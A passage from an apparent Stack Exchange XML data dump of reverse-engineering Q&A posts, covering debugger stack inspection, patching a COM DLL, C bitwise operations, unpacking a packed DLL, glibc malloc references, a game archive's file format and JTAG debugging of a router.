LastEditorUserId="18317" LastEditDate="2018-10-11T00:08:34.477" LastActivityDate="2018-10-11T00:08:34.477" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15026" PostTypeId="2" ParentId="15024" CreationDate="2017-03-27T02:50:36.200" Score="2" Body="&lt;p&gt;Set a break on TerminateProcess and friends when it breaks see the call stack and backtrack from there &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-03-27T02:50:36.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15027" PostTypeId="2" ParentId="9191" CreationDate="2017-03-27T07:34:02.060" Score="2" Body="&lt;p&gt;Debugging COM is indeed a bit on an issue, however you don't necessarily need to debug it in order to retrieve an address to the function you're interested in. Additionally, there are tricks to find COM related functions while debugging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you got the function's address, simply open that COM dll with any patching tool and patch the assembly as you'd like. Just google for a binary patching tool you feel comfortable with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are basically three ways I can think of to get the address of that function:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First, the function you're interested in might be exported. This is not a requirement for COM servers to function in most cases but occasionally happens. If it is exported, this is obviously the easiest way to find it.&lt;/li&gt;&#xA;&lt;li&gt;You could write a small executable that uses the COM server. That executable should call the function you're looking for, and by debugging &lt;em&gt;it&lt;/em&gt; you will find the RVA of the function you're after. Just patch in memory and save (olly allows that, for example) or translate the RVA to file offset and patch statically.&lt;/li&gt;&#xA;&lt;li&gt;This is a bit more difficult but still possible. You could statically find the COM object's virtual table and resolve it using &lt;em&gt;type libraries&lt;/em&gt;. You could then get the function's offset just the same. See &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/12356/how-to-intercept-a-call-to-function-with-known-name-from-known-dll&quot;&gt;This Q&amp;amp;A&lt;/a&gt; for more info about type libraries.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2017-03-27T14:53:20.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15028" PostTypeId="2" ParentId="15022" CreationDate="2017-03-27T16:08:37.630" Score="1" Body="&lt;p&gt;First, most decent compilers will let you introduce assembly directly in your C code. This is not recommended but the option should be noted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, here's a sane solution; C was several &lt;a href=&quot;https://www.tutorialspoint.com/cprogramming/c_bitwise_operators.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitwise operators&lt;/a&gt; to manipulate sets of bits inside an integer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitwise operators we'll use here are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;binary AND operator (&lt;code&gt;&amp;amp;&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit in the result variable is only set if it was set in both input variables. For example, &lt;code&gt;0b0011 &amp;amp; 0b1010&lt;/code&gt; will result in &lt;code&gt;0b0010&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;binary OR operator (&lt;code&gt;|&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit in the result variable will be set if it was set in at least one of the input variables. For example, &lt;code&gt;0b0011 | 0b1010&lt;/code&gt; will result in &lt;code&gt;0b1011&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;binary NOT operator (&lt;code&gt;~&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit in the result variable will only be set if it was &lt;em&gt;not&lt;/em&gt; set in the input variable. For example, &lt;code&gt;~0b0001&lt;/code&gt; will result in &lt;code&gt;0b1110&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;arithmetic shift operator (&lt;code&gt;&amp;lt;&amp;lt;&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A bit in the result variable will only be set if the bit  &lt;code&gt;n&lt;/code&gt; positions to the right in the first variable was set, where &lt;code&gt;n&lt;/code&gt; is the second variable. If that position does not exist, the bit is not set. For example, &lt;code&gt;0b0000 0b0101 &amp;lt;&amp;lt; 2&lt;/code&gt; will result in &lt;code&gt;0b0001 0b0100&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And here's how we could use them to set the &lt;em&gt;lowest&lt;/em&gt; byte in dword &lt;code&gt;a&lt;/code&gt; to that of char &lt;code&gt;c&lt;/code&gt;, assuming a 32bit processor for simplicity's sake:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned int a = 0xa5a5a505;&#xA;unsigned char c = 0xa0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;First, we'll want to zero-out the lowest byte. We'll do that by ANDing the dword with a dword that has all of it's bits set &lt;em&gt;except&lt;/em&gt; the 8 lowest bits (aka it's lowest byte).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = a &amp;amp; 0xffffff00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively, we can use the NOT binary operator to create &lt;code&gt;0xffffff00&lt;/code&gt; in a slightly cleaner manner, as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = a &amp;amp; ~0xff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After either of those lines, which perform exactly the same thing (and will look identical in assembly), &lt;code&gt;a&lt;/code&gt;'s value would be &lt;code&gt;0xa5a5a500&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, we'll need to assign the value of &lt;code&gt;c&lt;/code&gt; to that same byte. We'll use the OR bitwise operator in the following manner:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = a | c;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will result in &lt;code&gt;a&lt;/code&gt; having the value of &lt;code&gt;0xa5a5a5a0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if we would like to do the same for the 2nd byte in the integer we'll shift the values by 8 bits before executing the same operators, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = a &amp;amp; ~(0xff &amp;lt;&amp;lt; 8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is equivalent to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = a &amp;amp; ~(0xff00)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is identical to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = a &amp;amp; 0xffff00ff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will result with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = 0xa5a50005&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now, we'll add &lt;code&gt;c&lt;/code&gt; at the 2nd byte's position:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = a | (c &amp;lt;&amp;lt; 8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which in our example is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = a | 0xa000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will result in &lt;code&gt;0xa5a5a005&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-03-27T16:08:37.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15029" PostTypeId="2" ParentId="15017" CreationDate="2017-03-27T18:35:43.233" Score="1" Body="&lt;p&gt;the stack you see in &lt;strong&gt;!process @$proc 7&lt;/strong&gt;  is kernel stack not usermode stack &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you want to see usermode stack use &lt;strong&gt;0x17&lt;/strong&gt; flag &lt;/p&gt;&#xA;&#xA;&lt;p&gt;whatever you edit in usermode would only be available in address that belongs to usermode stack  that is address less that 0x80000000 normally&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a calc.exe stack in kernel mode debugger &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; !process 0 17 calc.exe&#xA;Failed to get VAD root&#xA;PROCESS 811c3500  SessionId: 0  Cid: 0560    Peb: 7ffd7000  ParentCid: 00a8&#xA;    DirBase: 01cc4000  ObjectTable: e1a63450  HandleCount:  28.&#xA;    Image: calc.exe&#xA;    VadRoot 00000000 Vads 0 Clone 0 Private 115. Modified 0. Locked 0.&#xA;    DeviceMap e1a2ed30&#xA;    Token                             e1c22270&#xA;    ElapsedTime                       00:00:06.709&#xA;    UserTime                          00:00:00.030&#xA;    KernelTime                        00:00:00.060&#xA;    QuotaPoolUsage[PagedPool]         0&#xA;    QuotaPoolUsage[NonPagedPool]      0&#xA;    Working Set Sizes (now,min,max)  (644, 50, 345) (2576KB, 200KB, 1380KB)&#xA;    PeakWorkingSetSize                644&#xA;    VirtualSize                       27 Mb&#xA;    PeakVirtualSize                   34 Mb&#xA;    PageFaultCount                    669&#xA;    MemoryPriority                    FOREGROUND&#xA;    BasePriority                      8&#xA;    CommitCharge                      187&#xA;&#xA;        THREAD 810efda8  Cid 0560.0564  Teb: 7ffdf000 Win32Thread: e1a631d0 WAIT: (WrUserRequest) UserMode Non-Alertable&#xA;            ffafbb00  SynchronizationEvent&#xA;        Not impersonating&#xA;        DeviceMap                 e1a2ed30&#xA;        Owning Process            00000000       Image:         &#xA;        Attached Process          811c3500       Image:         calc.exe&#xA;        Wait Start TickCount      6064           Ticks: 23 (0:00:00:00.230)&#xA;        Context Switch Count      164            IdealProcessor: 0                 LargeStack&#xA;        UserTime                  00:00:00.020&#xA;        KernelTime                00:00:00.060&#xA;        Win32 Start Address calc!WinMainCRTStartup (0x01012475)&#xA;        Stack Init f8bc2000 Current f8bc1c20 Base f8bc2000 Limit f8bbd000 Call 00000000&#xA;        Priority 12 BasePriority 8 PriorityDecrement 2 IoPriority 0 PagePriority 0&#xA;&#xA;        ChildEBP RetAddr  Args to Child              &#xA;        f8bc1c38 804dc0f7 810efe18 810efda8 804dc143 nt!KiSwapContext+0x2e (FPO: [Uses EBP] [0,0,4])&#xA;        f8bc1c44 804dc143 000025ff e1a631d0 00000000 nt!KiSwapThread+0x46 (FPO: [0,0,0])&#xA;        f8bc1c6c bf802f52 00000001 0000000d 00000001 nt!KeWaitForSingleObject+0x1c2 (FPO: [Non-Fpo])&#xA;        f8bc1ca8 bf801b2a 000025ff 00000000 00000001 win32k!xxxSleepThread+0x192 (FPO: [Non-Fpo])&#xA;        f8bc1cec bf819e6c f8bc1d18 000025ff 00000000 win32k!xxxRealInternalGetMessage+0x418 (FPO: [Non-Fpo])&#xA;        f8bc1d4c 804de7ec 0007fee8 00000000 00000000 win32k!NtUserGetMessage+0x27 (FPO: [Non-Fpo])&#xA;        f8bc1d4c 7c90e4f4 0007fee8 00000000 00000000 nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ f8bc1d64)&#xA;        0007fddc 7e4191be 7e4191f1 0007fee8 00000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])&#xA;        0007fdfc 010021b0 0007fee8 00000000 00000000 USER32!NtUserGetMessage+0xc&#xA;        0007ff1c 010125e9 000a8aa8 00000055 000a8aa8 calc!WinMain+0x25f (FPO: [Non-Fpo])&#xA;        0007ffc0 7c817067 80000001 0144da28 7ffd7000 calc!WinMainCRTStartup+0x174 (FPO: [Non-Fpo])&#xA;        0007fff0 00000000 01012475 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ie the usermode stack part in above paste is at &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; dc 0007fddc&#xA;0007fddc  ???????? ???????? ???????? ????????  ????????????????&#xA;0007fdec  ???????? ???????? ???????? ????????  ????????????????&#xA;0007fdfc  ???????? ???????? ???????? ????????  ????????????????&#xA;0007fe0c  ???????? ???????? ???????? ????????  ????????????????&#xA;0007fe1c  ???????? ???????? ???????? ????????  ????????????????&#xA;0007fe2c  ???????? ???????? ???????? ????????  ????????????????&#xA;0007fe3c  ???????? ???????? ???????? ????????  ????????????????&#xA;0007fe4c  ???????? ???????? ???????? ????????  ????????????????&#xA;&#xA;kd&amp;gt; .process /p /r 811c3500&#xA;Implicit process is now 811c3500&#xA;.cache forcedecodeuser done&#xA;Loading User Symbols&#xA;.....................&#xA;&#xA;&#xA;&#xA;kd&amp;gt; dc 0007fddc&#xA;0007fddc  00000000 7e4191be 7e4191f1 0007fee8  ......A~..A~....&#xA;0007fdec  00000000 00000000 00000000 7e4191c6  ..............A~&#xA;0007fdfc  0007ff1c 010021b0 0007fee8 00000000  .....!..........&#xA;0007fe0c  00000000 00000000 7c80b731 000a232f  ........1..|/#..&#xA;0007fe1c  00000000 00000000 00000000 00000000  ................&#xA;0007fe2c  00000000 00000000 00000000 00000000  ................&#xA;0007fe3c  00000000 00000000 00000000 00000000  ................&#xA;0007fe4c  00000000 00000000 00000000 00000000  ................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can see the edits done in ollydbg reflecting in kd on proper process context in user mode stack (make sure you dont edit message loops they are repeatedly called and overwritten on each call )  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UCzyr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UCzyr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2017-03-27T18:49:41.067" LastActivityDate="2017-03-27T18:49:41.067" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15031" PostTypeId="1" AcceptedAnswerId="15032" CreationDate="2017-03-27T20:30:22.847" Score="0" ViewCount="2727" Body="&lt;p&gt;I have a packed DLL. It has an entry point. If I call LoadLibrary it gets unpacked with the entry point code. Then I can attach a debugger to the .exe that called LoadLibrary and see the unpacked dll dissasembly in my debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know IDA has a &quot;universal unpacker&quot; plugin, as well as a &quot;reconstruct&quot; option. But I have the .dll open in IDA. A .dll can't be executed, so I can't seemingly use these tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a memdump of the unpacked .dll, but I had trouble importing it manually in IDA. That doesn't seem like a promising route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I can create a custom console application that will load the .dll using LoadLibrary and then somehow call IDA PRO on that running instance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .dll is so packed there are no exports table at all. I presume there are memory addresses that are given to the .dll user - and that's how the calling works. I've working on figuring out those addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated!&lt;/p&gt;&#xA;" OwnerUserId="19618" LastActivityDate="2017-03-28T05:18:22.163" Title="How to run and reconstruct a packed DLL in IDA Pro?" Tags="|dll|unpacking|deobfuscation|packers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15032" PostTypeId="2" ParentId="15031" CreationDate="2017-03-28T05:18:22.163" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I have a memdump of the unpacked .dll, but I had trouble importing it manually in IDA. That doesn't seem like a promising route.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is exactly the way to go. Given the right offset, this should work like charm. If you have any problems here, consider asking another question about it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Maybe I can create a custom console application that will load the .dll using LoadLibrary and then somehow call IDA PRO on that running instance?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. You should be able to use a program which only consists of a LoadLibrary call. LoadLibrary should map the library to your process space and execute its WinMain Function (which I presume is in charge of unpacking). If the unpacking functionality is not included in the .dll itself, you should really reconsider using a memory dump.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-03-28T05:18:22.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15033" PostTypeId="1" CreationDate="2017-03-28T07:26:46.423" Score="12" ViewCount="11542" Body="&lt;p&gt;Wishing to dig in the internals of dynamic memory allocation on Linux, the best I could find is an article titled &lt;a href=&quot;https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/&quot; rel=&quot;noreferrer&quot;&gt;Understanding glibc malloc&lt;/a&gt;. The explanation, though detailed, is not quite understandable (to me). Especially, I couldn't understand all the data structure involved due to fragmented style of writing which provides information on a piece-wise manner. Can anyone provide one or more references detailing the same topic?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2020-03-04T08:34:09.143" Title="How does glibc malloc work?" Tags="|linux|memory|libc|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15034" PostTypeId="2" ParentId="15033" CreationDate="2017-03-28T08:12:14.237" Score="10" Body="&lt;p&gt;There are several quite good references about the exploitation of the heap in software security, one of my favorite is probably the '&lt;a href=&quot;http://liveoverflow.com/binary_hacking/&quot; rel=&quot;nofollow noreferrer&quot;&gt;binary hacking course&lt;/a&gt;' from &lt;a href=&quot;https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w&quot; rel=&quot;nofollow noreferrer&quot;&gt;LiveOverflow&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can look at the following lectures for a simplified approach of the heap management (using the &lt;a href=&quot;https://exploit-exercises.lains.space/protostar/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Protostar&lt;/a&gt; exercise set from &lt;a href=&quot;https://exploit-exercises.lains.space/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Exploit-Exercises&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0x14 - The Heap: what does &lt;code&gt;malloc()&lt;/code&gt; do?&lt;/li&gt;&#xA;&lt;li&gt;0x15 - The Heap: How to exploit a Heap Overflow&lt;/li&gt;&#xA;&lt;li&gt;0x16 - The Heap: How do use-after-free exploits work?&lt;/li&gt;&#xA;&lt;li&gt;0x17 - The Heap: Once upon a &lt;code&gt;free()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;0x18 - The Heap: dlmalloc &lt;code&gt;unlink()&lt;/code&gt; exploit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And, also:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;0x1F - [Live] Remote oldschool dlmalloc Heap exploit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then, you can try to read the write-ups on all the Heap exercises on &lt;a href=&quot;https://exploit-exercises.lains.space/protostar/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Protostar&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, the blog posts from &lt;a href=&quot;https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/&quot; rel=&quot;nofollow noreferrer&quot;&gt;sploitfun&lt;/a&gt; are one of the most accurate articles I ever seen on the web about this specific topic. I would advise to you to get back to the articles of sploitfun once you get enough understanding of the basic principles.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2020-03-04T08:34:09.143" LastActivityDate="2020-03-04T08:34:09.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15035" PostTypeId="1" AcceptedAnswerId="15040" CreationDate="2017-03-28T08:23:39.703" Score="0" ViewCount="107" Body="&lt;p&gt;I have a file with the extension of &quot;TOC&quot; I assumed it meant Table of Contents, and the contents of said file represent that it indeed is one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's full of content such as this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;117dbdd0 15 cardcropHD400.jpg.zib&#xA;345cbe0 15 cardcropHD401.jpg.zib&#xA;144800a 50 D3D11\characters\m10658_number_104_masquerade\m10658_number_104_masquerade.phyre&#xA;121dffc 50 D3D11\characters\m3800_blue_eyes_white_dragon\m3800_blue_eyes_white_dragon.phyre&#xA;121602c 3e D3D11\characters\m3806_dark_magician\m3806_dark_magician.phyre&#xA;12d2eb7 4e D3D11\characters\m3815_red_eyes_black_dragon\m3815_red_eyes_black_dragon.phyre&#xA;1223774 48 D3D11\characters\m4766_dark_magician_girl\m4766_dark_magician_girl.phyre&#xA;114145a 4a D3D11\characters\m6653_elemental_hero_neos\m6653_elemental_hero_neos.phyre&#xA;1117979 62 D3D11\characters\m7344_arcana_force_ex_the_light_ruler\m7344_arcana_force_ex_the_light_ruler.phyre&#xA;1d2edd5 42 D3D11\characters\m7734_stardust_dragon\m7734_stardust_dragon.phyre&#xA;128872f 4c D3D11\characters\m7735_red_dragon_archfiend\m7735_red_dragon_archfiend.phyre&#xA;116a658 44 D3D11\characters\m9575_number_39_utopia\m9575_number_39_utopia.phyre&#xA;1488223 58 D3D11\characters\m9656_number_17_leviathan_dragon\m9656_number_17_leviathan_dragon.phyre&#xA;17c81f4 60 D3D11\characters\m9708_sephylon_the_ultimate_timelord\m9708_sephylon_the_ultimate_timelord.phyre&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I figured the first line is a hex encoded size which checks out for the corresponding DAT size (Minus 6ish MB), the last column is obviously the file name. But, I don't know where to start on what the middle value is, it's a HEX encoding of something, but if you convert it and add them together it exceeds the left over buffer room.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any advice or how I could start looking into the EXE to see how it's handling the file? (I've tried running it through x64dbg but the munmbo jumbo of ASM means nothing to me)&lt;/p&gt;&#xA;" OwnerUserId="19684" LastEditorUserId="53" LastEditDate="2017-03-28T08:25:54.807" LastActivityDate="2017-03-28T18:04:29.640" Title="Finding What Data Means From File?" Tags="|binary-analysis|file-format|function-hooking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15037" PostTypeId="1" CreationDate="2017-03-28T14:24:59.097" Score="2" ViewCount="557" Body="&lt;p&gt;I am getting this output when I am issuing this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo openocd -f board/MyBuspirate.cfg -f board/linksys-wrt54gl.cfg&#xA;&#xA;Open On-Chip Debugger 0.10.0+dev-00092-g77189db (2017-02-25-13:44)&#xA;Licensed under GNU GPL v2&#xA;For bug reports, read&#xA;    http://openocd.org/doc/doxygen/bugs.html&#xA;Warn : Adapter driver 'buspirate' did not declare which transports it allows; assuming legacy JTAG-only&#xA;Info : only one transport option; autoselect 'jtag'&#xA;srst_only separate srst_gates_jtag srst_open_drain connect_deassert_srst&#xA;Info : Buspirate Interface ready!&#xA;Info : This adapter doesn't support configurable speed&#xA;Info : JTAG tap: bcm5352e.cpu tap/device found: 0xe09a91ff (mfg: 0x0ff (&amp;lt;invalid&amp;gt;), part: 0x09a9, ver: 0xe)&#xA;Warn : JTAG tap: bcm5352e.cpu       UNEXPECTED: 0xe09a91ff (mfg: 0x0ff (&amp;lt;invalid&amp;gt;), part: 0x09a9, ver: 0xe)&#xA;Error: JTAG tap: bcm5352e.cpu  expected 1 of 1: 0x0535217f (mfg: 0x0bf (Broadcom), part: 0x5352, ver: 0x0)&#xA;Warn : Unexpected idcode after end of chain: 544 0x7fffffff&#xA;Warn : Unexpected idcode after end of chain: 576 0xfff82648&#xA;Error: double-check your JTAG setup (interface, speed, ...)&#xA;Error: Trying to use configured scan chain anyway...&#xA;Error: bcm5352e.cpu: IR capture error; saw 0xfe not 0x1&#xA;Warn : Bypassing JTAG setup events due to errors&#xA;^CInfo : Shutting down buspirate.&#xA;Info : Buspirate switched to normal mode&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where, &lt;code&gt;board/MyBuspirate.cfg&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;buspirate_port /dev/ttyUSB0&#xA;buspirate_vreg 0&#xA;buspirate_mode normal&#xA;buspirate_pullup 1&#xA;buspirate_speed normal&#xA;reset_config srst_only&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the &lt;code&gt;board/linksys-wrt54gl.cfg&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Linksys WRT54GL v1.1&#xA;#&#xA;source [find target/bcm5352e.cfg]&#xA;set partition_list {&#xA;    CFE         { Bootloader                    0x1c000000 0x00040000 }&#xA;    firmware    { &quot;Kernel+rootfs&quot;               0x1c040000 0x003b0000 }&#xA;    nvram       { &quot;Config space&quot;                0x1c3f0000 0x00010000 }&#xA;}&#xA;&#xA;# External 4MB NOR Flash (Intel TE28F320C3BD90 or similar)&#xA;set _FLASHNAME $_CHIPNAME.flash&#xA;flash bank $_FLASHNAME cfi 0x1c000000 0x00400000 2 2 $_TARGETNAME&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the source, &lt;code&gt;target/bcm5352e.cfg&lt;/code&gt; , it refers to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set _CHIPNAME bcm5352e&#xA;set _CPUID 0x0535217f&#xA;&#xA;jtag newtap $_CHIPNAME cpu -irlen 8 -ircapture 0x1 -irmask 0x1f -expected-id $_CPUID&#xA;&#xA;set _TARGETNAME $_CHIPNAME.cpu&#xA;target create $_TARGETNAME mips_m4k -endian little -chain-position $_TARGETNAME&#xA;&#xA;gdb_memory_map disable&#xA;$_TARGETNAME configure -event gdb-attach {&#xA;   reset&#xA;   halt&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to be able to Debug the &lt;code&gt;JTAG tap: bcm5352e.cpu&lt;/code&gt; that i have defined using &lt;code&gt;gdb&lt;/code&gt;. I am able to connect to the gdb server that openocd listens on, but looking at the registers, and instruction pointers etc. is saying garbage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure, if the Bus Pirate is working as expected and it is in JTAG mode?? I assume yes, because in the output it says: &lt;code&gt;Info : only one transport option; autoselect 'jtag'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any ideas about why i am getting the errors, the unexpected ID codes? And greatly appreciated for generally other points, tips and tricks?&lt;/p&gt;&#xA;" OwnerUserId="2209" LastEditorUserId="2209" LastEditDate="2017-03-28T14:52:26.553" LastActivityDate="2017-03-28T14:52:26.553" Title="Solve problem with debugging Linksys-wrt54gl with JTAG using BusPirate programmer" Tags="|gdb|jtag|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15038" PostTypeId="2" ParentId="15033" CreationDate="2017-03-28T14:25:47.657" Score="16" Body="&lt;p&gt;For understanding how dynamic memory allocation (the malloc, free, calloc, realloc library functions) really works there is no substitute for reading the &lt;a href=&quot;https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=994a23248e258501979138f3b07785045a60e69f;hb=HEAD&quot; rel=&quot;noreferrer&quot;&gt;source code&lt;/a&gt; of &lt;code&gt;malloc()&lt;/code&gt;. It is well commented:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;comments on chunks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;1056    malloc_chunk details:&#xA;1057 &#xA;1058     (The following includes lightly edited explanations by Colin Plumb.)&#xA;1059 &#xA;1060     Chunks of memory are maintained using a `boundary tag' method as&#xA;1061     described in e.g., Knuth or Standish.  (See the paper by Paul&#xA;1062     Wilson ftp://ftp.cs.utexas.edu/pub/garbage/allocsrv.ps for a&#xA;1063     survey of such techniques.)  Sizes of free chunks are stored both&#xA;1064     in the front of each chunk and at the end.  This makes&#xA;1065     consolidating fragmented chunks into bigger chunks very fast.  The&#xA;1066     size fields also hold bits representing whether chunks are free or&#xA;1067     in use.&#xA;1068 &#xA;1069     An allocated chunk looks like this:&#xA;1070 &#xA;1071 &#xA;1072     chunk-&amp;gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;1073             |             Size of previous chunk, if unallocated (P clear)  |&#xA;1074             +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;1075             |             Size of chunk, in bytes                     |A|M|P|&#xA;1076       mem-&amp;gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+&#xA;1077             |             User data starts here...                          .&#xA;1078             .                                                               .&#xA;1079             .             (malloc_usable_size() bytes)                      .&#xA;1080             .                                                               |&#xA;1081 nextchunk-&amp;gt; 